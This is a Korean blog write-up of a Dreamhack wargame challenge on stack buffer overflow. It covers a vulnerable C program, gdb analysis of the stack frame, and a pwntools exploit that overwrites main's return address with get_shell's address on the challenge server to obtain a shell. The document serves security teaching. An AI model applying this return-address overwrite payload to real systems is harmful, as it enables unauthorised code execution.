Security/System Hacking

[System Hacking] Dreamhack - Return Address Overwrite 풀이

inyeong 2025. 1. 22. 01:12
 

Return Address Overwrite

Description Exploit Tech: Return Address Overwrite에서 실습하는 문제입니다.

dreamhack.io

 

문제 설명 


// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

 

문제 풀이 


# 1. 취약점 분석 

주어진 코드의 main() 함수를 살펴보면 크기가 0x28인 버퍼에 scanf("%s", buf)로 입력을 받고 있다. 

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

 

scanf 함수의 포맷 스트링 %s 문자열을 입력받을 때 사용하는 것으로, 입력의 길이를 제한하지 않으며, 공백 문자(띄어쓰기, 탭, 개행 문자 등)가 들어올 때까지 계속 입력을 받는다. 따라서, 입력을 길게 준다면 스택 버퍼 오버플로우를 발생시켜서 main 함수의 반환 주소를 덮을 수 있을 것이다. 

 

또한, get_shell() 함수를 실행하면 shell을 획득할 수 있다. 스택 버퍼 오버플로우 취약점을 이용해 반환 주소를 get_shell() 함수의 주소로 overwrite 하면 shell을 획득하여 flag 값을 알아낼 수 있을 것이다.

 

💡 scanf%s 포맷 스트링절대로 사용하지 말아야 하며, 정확히 n개의 문자만 입력받는 “%[n]s”의 형태로 사용해야 한다.

 

🔎 C/C++의 표준 함수 중, 버퍼를 다루면서 길이를 입력하지 않는 strcpy, strcat,sprintf 함수들은 대부분 위험하다. 버퍼의 크기를 같이 입력하는 strncpy, strncat, snprintf, fgets, memcpy 등을 사용하는 것이 바람직하다.


# 2. 트리거 (trigger) 

🔎 발견한 취약점을 발현시켜 확인해보는 것을 트리거(trigger)라고 한다. 

 

프로그램을 실행하고 "A"를 5개 입력하면 프로그램이 정상적으로 종료된다. 하지만, "A"를 64개 입력하면 Segmentation fault라는 에러가 출력되며, 프로그램이 비정상적으로 종료된다. 

 

💡 core dumped코어 파일(core)을 생성했다는 의미이다. 코어 파일(core)은 프로그램이 비정상 종료됐을 때, 디버깅을 돕기 위해 운영체제가 생성해주는 것다.

 

🔎 코어 파일 크기 제한 해제하는 명령어 ulimit -c unlimited 


# 3. 스택 프레임 구조 파악 

스택 버퍼 오버플로우를 발생시키려면, 해당 버퍼가 스택 프레임의 어디에 위치하는지 조사해야 한다. 

 

gdb를 이용해 main()의 어셈블리 코드에서 scanf() 부분을 살펴본다. 

 

lea rax, [rbp - 0x30]

rbp - 0x30 주소를 계산하여 rax에 저장한다.

사용자 입력값이 저장될 버퍼의 시작 주소를 설정하는 것이다. 

 

즉, 버퍼는 rbp-0x30에 위치한다. 

 

스택 프레임의 구조를 떠올려보면, rbp에 스택 프레임 포인터(SFP)가 저장되고, rbp+0x8 에는 반환 주소가 저장된다. 입력할 버퍼와 반환 주소 사이에 0x38만큼의 거리가 있으므로, 그만큼을 dummy data로 채우고, 실행하고자 하는 코드의 주소를 입력하면 실행 흐름을 조작할 수 있다.

 


# 4. get_shell() 주소 확인 

get_shell() 함수의 주소로 main 함수의 반환 주소를 덮어서 셸을 획득할 수 있다.

gdb를 활용하여 get_shell()의 주소를 알아낸다. 


# 5. 페이로드 구성 

이제 익스플로잇에 사용할 페이로드(Payload)를 구성한다. 

 

🔎 시스템 해킹에서 페이로드는 공격을 위해 프로그램에 전달하는 데이터를 의미한다. 


# 6. 엔디언 적용

리틀 엔디언을 사용하는 인텔 x86-64아키텍처를 대상으로 하므로, 아래 코드를 이용해 get_shell() 함수의 주소를 리틀 엔디안 형식으로 변환한다. 

endian.c 

#include <stdio.h>
int main() {
  unsigned long long n = 0x4006aa;

  printf("Low <-----------------------> High\n");

  for (int i = 0; i < 8; i++) printf("0x%hhx ", *((unsigned char*)(&n) + i));

  return 0;
}

 


# 7. 익스플로잇 코드 작성 

pwn 라이브러리를 사용해 아래와 같이 python 코드를 작성하고 실행하면 flag를 구할 수 있다. 

exploit.py 
from pwn import *

p = remote("host1.dreamhack.games", 12554)
context.arch = "amd64"

# 더미 데이터 + get_shell()의 주소 (실제 찾은 주소로는 실행되지 않아 로드맵에 나오는 주소로 진행)
payload = b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00'

# 원격 서버로 데이터를 전송
p.sendafter("Input: ", payload)

# 사용자가 원격 서버와 상호작용 
p.interactive()​